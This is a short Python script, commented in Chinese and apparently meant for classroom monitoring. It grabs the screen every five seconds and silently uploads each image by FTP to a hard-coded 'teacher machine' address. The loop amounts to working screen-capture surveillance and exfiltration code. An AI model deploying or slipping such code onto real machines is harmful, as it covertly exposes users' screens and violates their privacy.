#导入需要的模块
import ftplib,socket,datetime
import PIL.ImageGrab,time,ftplib

#上传文件
def upload():
    #打开缓存文件，变量f为此文件的句柄
    with open("tmp.jpg","rb") as f:
        #创建指向教师机ip的FTP对象
        ftp = ftplib.FTP("192.168.0.106")
        #建立连接
        ftp.connect()
        #登陆,username和passwd 应替换为真实的帐号名和密码
        ftp.login("username","passwd")
        #获取本机名
        hostname = socket.gethostname()
        #获取本机ip地址
        ip = socket.gethostbyname(hostname)
        #将上传目录切换至本机ip同名目录
        ftp.cwd(ip)
        #获取当前的时间信息
        t = datetime.datetime.now()
        #上传图片文件，文件名依据当前时间，
        #按“时_分_秒.jpg"格式重命名
        ftp.storbinary("STOR %d_%d_%d.jpg"%\
             (t.hour,t.minute,t.second),f)
        #退出登陆
        ftp.quit()

#将采集指令置于死循环中
while True:
    #截取屏幕数据，存放于screen变量
    screen = PIL.ImageGrab.grab()
    #保存图片文件，文件名为tmp.jpg
    screen.save("tmp.jpg")
    #print("截屏完毕")
    upload()
    #print("上传完毕")
    time.sleep(5)
